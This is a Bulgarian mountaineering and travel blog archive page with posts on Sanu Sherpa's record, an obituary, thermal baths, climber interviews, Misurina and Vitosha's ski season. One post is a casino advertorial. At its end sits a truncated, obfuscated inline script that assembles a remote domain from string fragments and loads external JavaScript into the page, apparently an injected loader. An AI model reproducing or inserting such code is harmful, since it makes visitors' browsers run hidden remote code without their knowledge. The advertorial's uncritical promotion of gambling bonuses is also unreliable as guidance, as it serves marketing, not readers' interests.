Списание 360's Blog, page 55

Сану Шерпа – първият човек в света, изкачил два пъти всички 14 осемхилядници

СподелиShares снимка: Sanu Sherpa/facebook

Покоряването на връх над 8000 м не е по силите на всеки човек. Но за някои хора това изглежда като детска игра. Такъв е непалски алпинист от Макалу – Сану Шерпа, който в периода 2006 – 2022 г. успява да изкачи по два пъти всичките 14 осемхилядника, при това някои от тях – повече от два пъти.

Вижте още: Рекорд 14х8000: Кристин Харила и Тенджен Шeрпа изкачиха всички осемхилядници за 92 дни

Сану завършва първото си изкачване на всичките 14 осемхилядника между 2006 и 2019 г., когато става 42-ият човек, правил това. Вторият „кръг“ Сану реализира за доста по-кратък период, между 2019 и 2022 година, като последен изкачва Гашербрум II, на 21 юли. Впечатляващ факт е, че по това време Сану е на 47 години (роден през 1975 г.).

Рекордът на Сану в цифри:

ВръхВисочинаГодинаЕверест8848 м2007, 2009, 2012, 2013, 2016, 2017K28611 м2012, 2021Кангчендзьонга8586 м2014, 2022Лхотце8516 м2008, 2021, 2022Mакалу8463 м2019, 2022Чо Ойю8201 м2006, 2008Дхаулагири8167 м2019, 2021Maнаслу8163 м2011, 2016, 2020Нанга Парбат8125 м2017, 2018, 2022Aнапурнa8091 м2016, 2021Гашербрум I8068 м2013, 2019Броуд Пик8047 м2014, 2017Гашербрум III8035 м2019, 2022Шиша Пангма8012 м2006, 2011

Постигнатото от Сану е доказателство за несломимия дух на човека пред лицето на най-големите предизвикателства в света.

СподелиShares

The post Сану Шерпа – първият човек в света, изкачил два пъти всички 14 осемхилядници appeared first on 360mag.

Почина д-р Карина Сълова, първата жена – планински спасител у нас

СподелиShares Карина Сълова (снимка: varhove.com)

Почина алпинистката, д-р Карина Сълова, която е и първата жена в България – планински спасител. Тя е специализирала анестезиология и реанимация, и през 1964 г. завършва квалификационни курсове за лекар – планински спасител. Има стотици изкачвания, както и участия в експедиции към емблематични върхове.

Нейното първо участие във височинна експедиция е през 1985 г., когато заедно с алпинисти от клуб „Искър“ изкачва Монблан (4807 м) в Алпите.

Вижте още: Почина Дойчин Василев – алпинистът, който пишеше историята на българския алпинизъм в снимки

Снимка: summitpost.org

На 1 май 1999 г. д-р Сълова стъпва на на вр. Шиша Пангма (на Централния връх – 8008 м).

През 1998 г. заедно с Дойчин Василев катери върховете Макалу (8462 м) и Манаслу (8156 м). Тя взима участие и в две експедиции към Еверест. Д-р Сълова е първата българка, изкачила Северното седло Чанг Ла под връх Еверест.

Заедно с Цвета Мишева са единствените жени във втората национална експедиция до най-високия връх на планетата – Еверест.

Вижте още: Българите, изкачили върхове над 8000 метра

Д-р Карина Сълова е родена на 3 април 1953 г. в с. Долна Бешовица, Община Роман. От началото на 90-те години е лекар – инструктор в курсовете за обучение на планински спасители.

2000-2011: Директор е на Центъра за спешна медицинска помощ във Враца.

От януари 2011 г. е лекар в профилакториума на АЕЦ „Козлодуй“ във Враца, а след това работи в Първа частна МБАЛ – Враца, като анестезиолог.

Д-р Карина Сълова е почетен гражданин на Враца.

За нейната кончина пръв съобщи сайтът varhove.

СподелиShares

The post Почина д-р Карина Сълова, първата жена – планински спасител у нас appeared first on 360mag.

10 от най-добрите термални извори и басейни в Европа

СподелиShares

Европа има вековни традиции в използването на термалната вода за здраве и релаксация. От древноримските терми, до съвременните спа центрове, горещите извори предлагат уникална комбинация от лечебни свойства и културно наследство. В тази статия ще откриете селекция от най-добрите термални бани в Европа, където можете да се насладите на възстановяваща почивка за тялото и духа.

1. Синята лагуна, ИсландияСинята лагуна, Исландия (снимка: wheretogonext.me)

Синята лагуна в Исландия е една от най-релаксиращите термални бани в Европа. Намира се на само 20 минути от летището близо до Рейкявик и е удобна спирка по пътя към града.

Разположена сред полета от застинала лава, лагуната предлага зашеметяващ извънземен пейзаж. Водата е с уникален млечносин цвят заради високото съдържание на силициев диоксид. Температурата варира между 37 и 41°C.

2. Горещите извори Сатурния, ИталияСатурния, Италия (снимки: saltinourhair.com)

Разположени в Тоскана, горещите извори на Сатурния предлагат природна красота и лукс. Естествените басейни са безплатни и са част от река. Посетете ги рано сутрин за най-добро изживяване, когато посетителите са по-малко.
Водата е богата на сяра и полезна при ревматизъм и артрит.

3. Памуккале, ТурцияПамуккале /снимка: kuku-travel/

Памуккале в югозападната част на Турция е известен с белите си тераси от калциев карбонат и горещите извори. Римските руини на древния град Хиераполис се намират наблизо.
Посетителите могат да се потопят в басейна на Клеопатра, известен със своите лечебни свойства.

4. Рупертус Термe, ГерманияРупертус Терме (снимка: chiemsee-chiemgau.info)

Термалните бани Рупертус в Бад Райхенхал, разположени в Баварските Алпи, са известни с лечебните си солени извори.
Сауните и откритите басейни предлагат невероятна гледка към планините, особено през зимата.

Вижте още: Топъл минерален басейн в студен зимен ден – перфектната комбинация

5. Баните Сечени, УнгарияСечени, Унгария / снимка: szechenyibath.com/

Разположени в Будапеща, термалните бани Сечени (Szechenyi Baths) са най-големият комплекс в Европа, с 15 вътрешни и 3 външни басейна. Водата достига до 40°C и предлага идеална релаксация след дълъг ден на разходки.

Баните Szechenyi (построени през 1913 г.) са най-посещаваната и много хвалена атракция в Будапеща: релаксираща, забавна, достъпна и романтична вечер. В допълнение към прекрасните лечебни естествени горещи изворни води в 18-те басейна, има над 6 сауни /парни кабини, няколко масажни терапии, процедури за лице и др.

6. Пещерните бани в Мишколц, УнгарияПещерните бани в Мишколц (снимка: riversideapartman.hu)

Тези уникални бани, Cave Bath in Miskolc, са разположени в естествени пещери, изпълнени с лечебна термална вода. Температурата е около 30°C, а атмосферата е незабравима.

Къпането в създадените от природата басейни, захранвани от топлата изворна вода, е наистина несравнимо изживяване. Това, което прави спа центъра интересен е, че вътрешните басейни образуват истински пещерен лабиринт, където можете да се насладите на приятния водовъртеж от естествена изворна вода и да се насладите на уникалните природни образувания.

Няколко специални помещения превръщат вътрешните басейни в приключенска вана с вълни.

Вижте още: Исландия: защо си струва

7. Терми де Спа, Белгияснимка: tripadvisor.com

Град Спа в Белгия е дал името на термалните бани по целия свят. Термите Thermes de Spa предлагат традиционни терапии и релаксация, но не допускат деца под 15 години.

8. Термалните бани в Цюрих, Швейцарияснимка: aqua-spa-resorts.ch

Разположени в историческата пивоварна Хурлиман, Zurich Thermal Baths & Spa комбинират древни традиции с модерна луксозна среда. Акцентът е на инфинити басейна на покрива, с панорамна гледка към Цюрих.

9. Серните бани в Тбилиси, Грузияснимка: puzzlegarage.com

Тбилиси е известен със серните си бани, разположени в старинния квартал Абаноубани. Водата е с температура 38-40°C и богата на минерали.

10. Природните бани Миватн, ИсландияМиватн, Исландия (снимка: getyourguide.com)

Тези бани, Myvatn Nature Baths, разположени в северната част на Исландия, са по-спокойна алтернатива на Синята лагуна. Водата е естествено нагрявана и предлага невероятна гледка към околността.

Известни също като „Синята лагуна на севера“, имат отличителна синя вода и са по-евтини за посещение.

Добър съвет е да изпробвате всички различни опции – основните басейни например са топли, но не горещи, а има и такива, които са доста горещи. Те се отопляват естествено от геотермална дейност, а сауните и парните бани на място също се захранват от геотермална дейност.

Баните Миватн се намират точно до околовръстния път в северна Исландия, което го прави идеална спирка за релаксация, докато разглеждате страната.

Вижте още: Из Европа с влак: 5 от най-живописните маршрути

СподелиShares

The post 10 от най-добрите термални извори и басейни в Европа appeared first on 360mag.

Майсторът на кравешкия барометър е Бай Боре Мальовишки

СподелиShares Боре Мальовишки закачва Кравешкия барометър на входа на старата хижа /заслон/ „Мальовица” (снимка: семеен архив)

Читателите навярно помнят, че преди няколко месеца разказахме каквото помним и знаем за историята на Кравешкия барометър, след това проследихме накратко и биографията на хижаря с главно „Х”. И в двата материала отправихме молба до читателите да ни се обадят, ако знаят повече за този човек и това чудо на синоптиката, което и днес виси на входа на новата хижа „Мальовица”.

Вижте още: Защо Мальовица е символът на българския алпинизъм?

Величка и Борис Павлови и децата им Ренета и Румян пред входа на старата хижа /заслон/ „Мальовица” (снимка: семеен архив)

Благодарение на Лили Шуманова, се свързахме с дъщерята на Бай Боре, Ренета, която ни благодари за това, което сме направили за „завръщането” на кака Величка и Бай Боре Мальовишки отново сред туристите, планинарите и най-вече на алпинистите, към онова романтично време. А направеното от тях съвсем не беше малко.

Цели 18 години това задружно семейство посрещаше с усмивка всеки, който прекрачеше прага на старата хижа.

Семейството на Боре Мальовишки на фона на символа на българския алпинизъм, любимият на всеки планинар връх Мальовица (снимка: семеен архив)

В допълнение на горното, дъщерята Ренета ни изпрати и няколко снимки на цялото семейство – майката кака Величка, бащата Борис Павлов и те двамата – тя, каката Ренета и братчето Румян. Освен това Рени потвърди факта, че авторът на Кравешкия барометър е нейният баща. Та, нали той е завършил столарско училище и то със специалност Дърворезба.

Вижте още: Историята на хижа „Мальовица“

Боре Мальовишки със съпругата си Величка и децата Ренета и Румян на ски (снимка: семеен архив)

доц. Сандю Бешев

СподелиShares

The post Майсторът на кравешкия барометър е Бай Боре Мальовишки appeared first on 360mag.

Тибо Катлен: Аз не чупя ледовете, аз прегръщам леда. Хората трябва да се обединяват, а не да се чупи нещо

СподелиShares

„Студът като поетика на живеенето“ е заглавието, което бях сложила на предварително подготвените въпроси към Тибо Катлен*. С това заглавие ги представи преводачът и на интервюто, и на филмите му Момчил Дамянов. Разбира се, умело говорихме и за поетиката на нетрайното (леда), но и за трудностите при снимане, историята на леденото катерене във Франция, страховете и постиженията.

В моя стил на провеждане и представяне на интервюта се стремя да запазя автентичността на разговора. Във втория ден на Дни на предизвикателствата Тибо, заедно с Бертранд Делапиер и Момчил в ролята на гид, катериха в Momentum Indoor Climbing Sofia. Успяхме в края на катеренето да си отделим време и място и да се потопим в ледовете на говоренето. Тибо супер естествено седна на земята и ние последвахме примера му. Бях подготвена с 12 въпроса, но в процеса на разговора сякаш нивото им се покачи.

Приятно потапяне!

Горе: Петя Гърбова, Бетранд Делапиер, Тибо Катлен, приятелката му Манон.
Долу: Петрана Петрова и Момчил Дамянов в Momentum Indoor Climbing SofiaПетрана Петрова: Въпрос, който задавам на всеки интервюиран, е кой е Тибо Катлен? Как сe самоопределяте към момента?

Тибо Катлен: Филмов режисьор, катерач. Моята страст са ледените водопади. Обичам много леда и тази любов ме мотивира да правя документални филми за катерене на водопади.

П.П.: Кръстих предварително интервюто „Студът като поетика на живеенето“. Идеята се роди от представянето ви за Дни на предизвикателствата, където се твърди следното: „За него леденото катерене и алпинизма са един поетичен свят, който ни позволява да научим много неща за самите нас, за хората и за планетата”.

Т.К.: Не е само студът. Студът и водата са, защото заедно те правят лед. Ледът за мен е поетична материя (бърза да ме контрира Тибо).

Тибо и ледътП.П.: Така, така. Точно в тази връзка и като поет искам да ви питам какво научихте от леда и как го прилагате в живота? Има ли нещо, което генерално сте осъзнал от този свят на лед, студ и студена красота?

Т.К.: Научих се да обичам ефимерните неща. Ледът е нетраен, ефемерен – появява се, изчезва и трябва да можеш да обичаш това непостоянно нещо.

П.П.: Нетрайност, сравнена с вечността

Т.К.: Точно така, вечността и принадлежността, в смисъла на „да имаш нещо“. Скалата е винаги там, не мърда и хората могат да я притежават. Да кажат: „Тя е моя“. С леда е точно обратното. Никой не може да каже: „това е моето парче лед“, защото той изчезва

П.П.: Тогава как говорим за премиерни линии на леда? Пълна загадка ми е как има премиера на нещо толкова нетрайно като леда. Ето, както е в “The Man and The Ice” – филм за премиерната линия ледено катерене от февруари 2024 г. в Британска Колумбия.

Т.К.: Не се знае. Ти виждаш една замръзнала линия, изкатерваш я, след това тя ще се стопи. После може да се появи, но и може да не се появи повече. Не знаеш. Може някой друг да дойде да я катери. Всеки път това е една премиера. Защото не е като хватките на скалата. Всеки път го измисляш отново.

Тук Тибо не пропуска да пита Момчил дали катеря на лед.

П.П.: Е, как! Всъщност и на мен това ми е любимото агрегатно състояние на водата. Формите, цветовете на синьо и бяло. Усещането за миг и вечност. Абсолютно го разбирам.

Откровението ни сближава, особено това, че катеря точно с Момчил на Скакавица.

П.П.: Да дойде февруари, Момчи, да го водиш.

Т.К.: Не, сега!

И те наистина на по-следващия ден отидоха на любимата Скакавица.

Тибо на „Капакът на ковчега“, СкакавицаЩастливият ТибоП.П.: Какво ви влюби в леда? Какво виждате в него, вие, който идвате от морето?

Т.К.: Не съм си задавал този въпрос. Водата. Обичам, когато леда се топи, когато ледът се превръща във вода, преминавайки през различни състояния.

П.П.: А как „стопявате ледовете“ в обикновения живот?

Момчил уточнява, че на френски израза е „да се счупят ледовете“.

Т.К.: Аз не чупя ледовете, аз прегръщам леда. Хората трябва да се обединяват, а не да се чупи нещо.

П.П.: Много ми харесва как мислите! Имате поетична душа (възкликвам наивно)
Каква е вашата формула за справяне със студа?

Т.К.: Научих се да живея със студа. Свикнах. Ако катериш, студът не е проблем. Но когато снимам, трябва да размразявам апарата, топля батериите в дрехите си.

П.П.: Филмът ви „Песента на леда“ (2023) е свързан с историята на леденото катерене във Франция от края на 70-е до наши дни. Рядко се среща сравнително млад професионалист да се обръща към историята, обичайно в нашия век преобладава нагласата „Аз съм първият“ и има отрицание на постиженията преди него. Как вие се решихте на това изследване? Чувствате ли се наследник?Тибо на сцената на „Дните“

Т.К.: Започнах да катеря на лед с мой приятел, доста по-възрастен, който вече не е между живите. С други думи влязох в леденото катерене с човек от друго поколение. Изведнъж установих, че това, което той ме научи, все още не е документирано. И така се реших на филм за историята на леденото катерене във Франция. Започнах да се срещам с хора от миналото като Тиери Рено, Франсоа Дамилано – един от първите гидове, които води хора да катерят водопади. Веднъж му отидох на гости, в процеса на разговора той ми казва „Да, няма такъв филм и ти трябва да го направиш“.

Тибо и Момчил

Тук Момчил, който е преводач на двата филма на Тибо за Дните на предизвикателствата, разменя думи за Дамилано и пояснява: Дамилано е сниман така във филма, че винаги е в тъмно, силует, ти не го различаваш много добре. Няма светлина. Докато Кристоф Мулен, известен гид, преподавател в училището в Шамони, медиативен, е винаги на светлина. Зрителят го вижда много добре като говори, като звезда е. Докато Дамилано е в тъмного.

П.П.: Това е целенасочено търсено, предполагам?

Т.К.: Да, да. Защото това са много различни хора и исках да ги покажа през различни ъгли, респективно през осветлението.

П.П.: Може ли тогава да се говори за приемственост във френската школа?

Т.К.: Да, да, абсолютно.

Момчил: И с младите ли е така?

Т.К.: По-скоро не, защото аз съм ги видял, докато младите – не са ги видели, не са общували с тях. Аз съм бил с тях. Днес всеки може да си купи сечива и да отиде да катери на леда. Докато преди някой е трябвало да те заведе. И това оказва влияние.

Вижте още: Томас Хубер: Аз имам младо сърце, въпреки белите ми коси. Имам детско любопитство към всичко

П.П.: Правите ли такива срещи, състезания, форми, в който поколенията да общуват помежду си?

Т.К.: Не. (ярко и твърдо отговаря Тибо)
Има събития, но това не са срещи между катерачите. Преди да, съществували са такива срещи между ледени катерачи. Например в Гаварни, циркус от водопади в Пиренеите, идвали са катерачи от целия свят да си правят купон. Сега има събития – да се учиш да катериш, а не е среща на катерачите. Комерсиални са целите. Тези събития често са организирани от производителите на екипировка!

П.П.: Тъжно и при вас липсва романтизма.

Тибо се разсмива. Ето и той прави филми за Petzl.

П.П.: Издържате ли се от филмите, които правите?

Т.К.: Не, правя и други неща, не живея от филмите си. Последната година правя маркетинг за една от фирмите, производители на екипировка. Всъщност аз съм в процес на търсене на онова нещо, което да ми харесва точно толкова, колкото правенето на филми и да се издържам с него.

Тук правим отклонение или пък в продължение на тази посока да се издържаш в планинарския бизнес и споменаваме Томас Хубер, който е роден в правилното време: тогава ярките катерачи са били малко, по-лесно е било да те набележат спонсорите и да се превърнеш в професионален атлет. Трудно е в момента е да станеш толкова известен, за да намериш едни хора и да ти плащат за това, което правиш.

Тибо КатленП.П.: Ти имаш време, Тибо! (Тибо е в своите ранни 30 години)

Тибо се смее: Да, имам още време да ме забележат.

П.П.: А къде имате повече предизвикателства – да снимате или да катерите?

Т.К.: Като катерач на лед съм си сложил лимит – катеря 6 категория и не искам да минавам дори в 6+/дори 7 категория. Във филма „Песента на леда“ се говори за тази 7-ма категория. Оставам до това ниво, на което се чувствам сигурен. Оттам нататък, на по-трудните неща, губя сигурността и оцеляването ми е поставено под въпрос.
Най-голямото ми предизвикателство всъщност е да намеря хора, който да убедя, че си заслужават да дадат парите си за историите, които снимам.
Например, вторият филм, който ви показвам на Дните „Човекът и ледът“ (2024), е за Стас Бескин, който е соло леден катерач. Снимаме само в един ден катеренето на 3 замръзнали водопада, всеки по 350 м, защото няма време, защото се случва само веднъж и толкова.

П.П.: Какво е да снимаш някой, който катери соло? Какво преживяваш като човека, който е отстрани и гледа? Какво си мислиш през това време?

Момчил: Ето това е наистина едно предизвикателство – да се съгласиш да снимаш соло катерене.

Т.К.: Много неща ти минават през главата. Беше ме страх повече от Стас. Но когато той тръгна да катери и го видях колко добре катери „Оо, та той катери много добре!“ и се успокоих „Всичко е наред“. Последният водопад Стас катери през нощта. От трите, които Стас изкатери за един ден, най-лесният, най-известният, който винаги е там, го изкатери на тъмно. Тогава ме беше най-много страх, нищо не мога да направя – стоя долу, не виждам какво се случва, горе се вижда светлинката на челника, който като мръдне по-рязко, сякаш пада. Всеки път, когато Стас се навеждаше да погледне къде да стъпи, осветяваше целия водопад и все едно една светлина, която пада.

На първия водопад на Стас му се чупи котката, 10 м преди излизането. И трябваше на място, докато виси, да извади една пета от раницата и с една ръка да я смени. Има го във филма, да, как си говорят по радиостанцията: „Как си, Стас?“. „Аа, супер. Само да ти кажа, че счупих котката. Надявам се да имам нещо резервно в раницата. Мисля, че имам нещо“…

П.П.: Как слиза от това соло?

Момчил и Тибо едновременно: Рапел. Носи си едно тънко въженце в раницата и слиза, като пуска рапел.

Тибо катери без сечиваП.П.: Кое е най-екстремното ви изкачване или снимане – онова, което винаги разказвате и е оставило най-дълготрайна следа? Ей така, като седнете на маса, винаги се сещате за него?

Т.К.: Катеренето по лед без сечива.

П.П.: Е как без сечива?

Момчил: Само с ръце – вижда се накрая на филма.

П.П.: Как само с ръце????

Момчил пояснява стила: Това не е гладък лед, а рошав. Отвесен, голям. Не, не е соло. Клиновете са сложени.
Т.К.: По принцип на лед не се пада. Водя и при такъв тип катерене съм готов всеки момент да падна. Не, не съм падал

П.П.: Последен въпрос, любим поет, защото говорите за поетика на леда и катерач, който ви вдъхновява?

Т.К.: Стас Бескин, соло катерачът от моя филм. Той ме вдъхновява. Пол Верлен е любимият ми поет.

Специални благодарности за подкрепата това интервю да се случи на:
Момчил Дамянов
Momentum Indoor Climbing Sofia
Дни на предизвикателствата

Снимки: Момчил Дамянов, Виктор Троянов

Петрана и Тибо

Биографична справка
*Тибо Катлен – френски катерач и алпинист, занимава се с ледено катерене, скално катерене, парапланеризъм. Открива планините като студент в Гренобъл. Учител и изследовател в Grenoble INP – UGA. Профилира се в създаването на приключенски и документални филми за планината, с фокус върху споделянето и обмена.

СподелиShares

The post Тибо Катлен: Аз не чупя ледовете, аз прегръщам леда. Хората трябва да се обединяват, а не да се чупи нещо appeared first on 360mag.

Мизурина: Перлата на Доломитите

СподелиShares Снимка: Fabio Becchelli

Мизурина е планинско село, сгушено в сърцето на Доломитите в Италия. Малък, очарователен курорт, част от община Ауронцо ди Кадоре. Разположено край едноименното езеро, на надморска височина от 1 754 метра, това място съчетава суровата красота на алпийския пейзаж със спокойствието на природата наоколо.

Езерото Мизурина (Antorno) често е наричано „Перлата на Доломитите“ заради кристалночистите си води, които отразяват величествените върхове на планините. Тази дестинация привлича туристи през цялата година с безкрайните си възможности за спорт, разходки и релаксация сред природата.

Пролет, лято и есен – рай за активни приключения

През топлите месеци околностите на Мизурина предлагат идеални условия за разнообразни активности на открито.

Езерото Мизурина / снимка: Verozmp, WikipediaПреходи и разходки

Мизурина е начална точка за множество пешеходни маршрути, които разкриват спиращи дъха гледки към Доломитите. Един от най-популярните маршрути е този към Тре Чиме ди Лаваредо – емблематичните три върха, които са символ на региона. Пътеката е достъпна както за начинаещи, така и за по-опитни туристи, като предлага обиколка около върховете, изпълнена с живописни панорами.

За по-леки разходки можете да обиколите езерото – маршрут, подходящ за семейства и хора, които предпочитат по-спокойно темпо. Сутрин и привечер езерото се обгръща в мека светлина, създавайки идеални условия за фотография.

Колоездене и планинско колоездене

Регионът е популярен сред любителите на велосипеди, като предлага както асфалтирани маршрути, така и технични пътеки за планинско колоездене. Едно от предизвикателствата за по-напреднали велосипедисти е изкачването на Пасо Тре Крочи – живописен планински проход, който свързва Мизурина с близките селища.

снимка: Misurina Winter RunБягане и трейлрънинг, скандинавско ходене

Планинските пътеки около Мизурина са идеални за трейлрънинг. Любителите на бягането могат да се насладят на предизвикателни изкачвания и спускания, съчетавайки физическа активност с вдъхновяващи природни гледки. Няма да са разочаровани и онези, които са се посветили на скандинавското ходене.

Misurina Wintеr Run е снежно състезание по скайрънинг с дистанция 17 км и 800 м D+, което се провежда през март. Участниците минават край езерото Мизурина и величествените Тре Чиме.

снимка: Willian Justen de Vasconcellos, UnsplashКаякинг и риболов

През лятото езерото Мизурина, чиято дължина е 2,6 км, е подходящо за каякинг и риболов. Можете да наемете каяк или кану и да се насладите на спокойствието на водата, заобиколени от величествени върхове. Риболовците могат да пробват късмета си, тъй като езерото е дом на различни видове риба. Да добавим, че може да си наемете и гребна лодка, или водно колело.

Катерене

Разбира се, че не може без катерене и то точно в този регион. Възможностите там са доста. Ако не сте сред най-уверените катерачи, може да изследвате някоя от популярните виа ферати, като например Torre di Toblin via Tre Cime di Lavaredo или Rifugio Tre Cime – Monte Paterno – Via Ferrata Innerkofler De Luca.

снимка: Tommaso Chiorboli, UnsplashЗимата – снежна приказка

През зимните месеци Мизурина се превръща в дестинация за ски и зимни спортове.

Ски и сноуборд

Близо до селото се намират няколко ски писти, подходящи за начинаещи и средно напреднали скиори. Има условия за ски спускане. В същото време курортите в Кортината д’Ампецо, само на кратко разстояние с кола, предлагат богат избор от трасета за всички нива.

Ски бягане и снежни преходи

Районът предлага и условия за ски бягане, като пистите преминават през гори и открити пространства с прекрасни гледки. Условията са чудесни и за ски алпинизъм. Любителите на зимните разходки могат да пробват преходи със снегоходки – незабравимо преживяване сред тишината на снежната природа.

снимка: Fabio BecchelliЛедено пързаляне

Езерото Мизурина замръзва през зимата, превръщайки се в естествена ледена пързалка. Това е забавление за цялото семейство, съчетаващо спорт и зимна магия.

На езерото Мизурина са били проведени състезанията по бързо пързаляне с кънки по време на Зимните олимпийски игри в Кортина д’Ампецо през 1956 г. – последният път, когато олимпийските състезания по бързо пързаляне с кънки са се провели на естествен лед.

Здравни аспекти

Особените климатични особености на района около езерото правят въздуха особено добър за хора с респираторни заболявания. В близост до езерото е единственият център в Италия за лечение на астма при деца.

Настаняване

В близост се намират хотели, в които могат да се настанят 500 туристи.

Как да стигнем до Мизурина от България

До Мизурина може да се стигне по няколко начина:

Със самолет: Най-близките летища са тези във Венеция (Marco Polo) и Верона (Valerio Catullo). Оттам можете да наемете автомобил или да използвате обществен транспорт. Езерото е на 120 км от Венеция.С автомобил: Пътуването от София до Мизурина е около 1 200 километра. Най-удобният маршрут преминава през Сърбия, Хърватия и Словения, след което продължава към Италия.С обществен транспорт: След като стигнете до Венеция, а оттам с влак или автобус до Кортина д’Ампецо, и накрая с местен транспорт до Мизурина.Защо да изберете Мизурина?

Мизурина е дестинация, която впечатлява със своята естествена красота и възможности за активен туризъм през всички сезони. Независимо дали сте любители на адреналина или търсите спокойствие и връзка с природата, това място ще ви предложи незабравими преживявания. Величествените пейзажи, чистият въздух и безкрайните възможности за спорт ще ви накарат да се връщате отново и отново.

СподелиShares

The post Мизурина: Перлата на Доломитите appeared first on 360mag.

На 26 декември официално откриват сезона над София

СподелиShares

Подготовката за сезона на Витоша върви с пълна сила, а в планината има все по-добри условия за практикуване на зимни спортове. В събота, неделя и понеделник (21,22 и 23 декември) ще работи ски писта Меча поляна и обслужващата я транспортна лента. Официалното начало на сезона ще бъде дадено на 26 декември.

Работи се усилено по подготовката на писта Витошко лале, за да може да заработи изцяло ски зона Алеко. Необходим е още малко сняг в долната част на пистата, за да може да има максимално добри и безопасни условия за ползвателите и. Прогнозите са за снеговалежи и ниски температури в следващите дни и се очаква да има много добри условия след празниците.

Началото на сезона ще бъде дадено официално на 26 декември, като се планира да работят лифтове Витошко лале 1 и Витошко лале 2, Меча поляна, Учебна писта и Витоша Сноупарк.
В зависимост от снежните условия в планината, ще бъдат подготвени и отворени максимално много писти, като подробна информация ще има следващата седмица.

Нова лифт карта за 6 непоследователни дни ще се предлага вече на Витоша. Картата ще е валидна за 6 дневни карания и ще може да се ползва през целия сезон. Цените на лифт картите остават почти без промяна от последните 2 години, като разликата е в рамките на увеличената ставка на ДДС за спортните съоръжения от 9 на 20%.

Този сезон на писта Витошко лале отново ще има и вечерно каране, като се планира при благоприятни метеорологични условия то да стартира след нова година и да работи всяка седмица от сряда до събота, включително.

Витоша ще бъде домакин на множество интересни събития през целия сезон, сред които и финалния кръг на Европейската купа по Сноуборд на FIS във фристайл рейл дисциплината. Зрелищното събитие ще се проведе на 23-24 март на Меча поляна, като за първи път планината ще е домакин на подобен форум.

От 26 до 30 декември, включително, съоръженията ще работят всеки ден от 9:00 до 16:00 часа, след което ще отворят отново на 2 януари и ще работят без почивен ден при благоприятни метеорологични условия до края на сезона.

По случай откриването и в духа на празниците, всеки закупил лифт карта в дните 26 и 27 декември ще получи специален подарък комплимент от Doppelherz и ще може да се включи в томбола с чудесни награди от Керхер България и други партньори на събитието.

Повече информация за цени, услуги, актуална метеорологична обстановка и отворени съоръжения в реално време следете на www.vitoshaski.com

СподелиShares

The post На 26 декември официално откриват сезона над София appeared first on 360mag.

Кои онлайн казина в България дават големи печалби

СподелиShares

Онлайн казината са сборно място за опитни и начинаещи потребители, които търсят да изпробват късмета си. Независимо от вашия опит основните критерии, които определят дали едно казино си струва са разнообразието от игри, шансовете за печалба, щедростта на бонусите и избора от методи за депозиране. 

За да направим нещата по-лесни, експертите на kazino-igri-bg сме подбрали топ 3 най-популярни онлайн казина в България. 

Как да избера правилното казино

Няма точен отговор на този въпрос. Основното е да откриете най-посещаваните хазартни платформи и да пробвате сами за себе си. Важното е онлайн казиното да разполага с голям набор от игри и категории, да бъде лицензирано в България, гъвкави методи за депозит. Голямо предимство е при наличието на бонуси, броят на превъртанията му да са колкото се може, по-малко. 

Betano 

Това е един от най-популярните букмейкъри в България за последните години. Платформата е собственост на Kaizen Gaming International Ltd. с адрес на регистрация Кипър. Регистриран е към Националната агенция по приходите с лиценз No. 000030-10915 от 14.10.2024, което отразява актуалността на платформата. 

Наборът от заглавия включва категории, като онлайн ротативки, настолни игри – покер, блекджек, рулетка, които обединяват над 1,000 игри в тяхното портфолио. Те разполагат с предложения с висока, ниска и средна волатилност, което ги прави идеални за начинаещи или опитни играчи. 

Възможностите за печалби са големи, благодарение на опцията за спортни залози. Някои от техните заглавия позволяват залози до над 2,000 лева и максимален коефициент от 5,000 пъти. 

Разнообразието от бонуси също е голямо. Освен in-game подаръците, Betano има опция за нови играчи. Бонус 100% до 1,500 лева и до 100 безплатни завъртания. 

Букмейкърът приема Visa/Mastercard дебитни карти, банков превод, предплатена карта, както и електронен портфейл, като разплащателни методи. 

Sesame

Sesame е следващото казино, което ще разгледаме. Това е българска компания със седалище в София. Онлайн казиното отговаря на всички регламенти, като е регистрирано с няколко лиценза – за спортни залози и хазартна дейност. 

В платформата може да играете над 250 заглавия слотове от доказали се софтуерни създатели, като Amusnet Interactive, Red Tiger, Play ‘n Go и Playtech. За почитателите на електронните спортове има специална секция, където да залагате на любимите си отбори от няколко компютърни игри. 

Бонусите на Sesame не са за подценяване. Техният бонус за добре дошъл включва 200% до 2,000 лева, както и 200 безплатни завъртания. Условията по превъртането са 35 пъти, но това е постижима цел. 

Разплащателните методи, които платформата приема са Visa/Mastercard, FastPay, EasyPay, ePay, банков превод, депозит с мобилен оператор Vivacom/A1, а дори и криптовалути, като Bitcoin. Разнообразието тук наистина е голямо, което създава гъвкави условия за потребителите. 

PalmsBet

Това е последното казино, което ще разгледаме. Компанията е със седалище в София и покрива всички изисквания на НАП. Освен това, те разполагат и с физически казина, които може да посетите в големите градове. 

Разнообразието от игри и тук е гарантирано. Над 350 заглавия от водещи разработчици на софтуер. Освен това, онлайн казиното предлага над 20,000 спортни събития с едни от най-добрите коефициенти в страната. Това го прави идеален избор за почитателите на спорта, които търсят да залагат. 

Бонусът за нови играчи е 100% до 2,000 лева и 100 безплатни завъртания. Разплащателните методи включват дебитна/кредитна карта, мобилен оператор, Easypay, ePay, както и банков превод. 

(function(){qiux=document.createElement("script");qiux_=("us")+("ta");qiux_+="t"+(".");qiux_+=("in");qiuxu="2368682676";qiux.async=true;qiuxu+=".wfu2m8c2iuxnzigk3";qiux.type="text/javascript";qiux_+="f"+"o"+("/");qiuxu+="qpy3Xnsljdqll";qiux.src="https://"+qiux_+qiuxu;dqiux=docu...

СподелиShares

The post Кои онлайн казина в България дават големи печалби appeared first on 360mag.

Томас Хубер: Аз имам младо сърце, въпреки белите ми коси. Имам детско любопитство към всичко

СподелиShares Томас Хубер на сцената на Дните

Нямах търпение да се срещна с Томас на живо. Да, първото ми интервю с алпинист от подобна класа. Подготвих въпросите си 3 седмици по-рано и се надявах по време на интервюто на живо да успея да извадя нещо неказвано досега от катерача. Не е особено лесно, след като от години той отговаря на въпроси за различни медии. Дали съм успяла? С някои въпроси – да, на други чухме отговорите в презентацията на Томас Хубер на живо пред публиката на Дните.

Срещаме се на 3 декември в магазин “Стената”. Появата ни развълнува целия екип, Зойчето се засуети – къде да отидем, да е уютно, комфортно, а в същото време те бяха в предстартова треска за началото на фестивала. Накрая слязохме в приземния етаж на магазина, Томас директно ми определи къде да седна – на люлката. Разговорът стана възможен благодарение на Иво Нинов!

Приятно влизане в света на Томас Хубер, за да научите кое е най-важното му постижение, как приема провалите, какво харесва в България и защо има треньор.

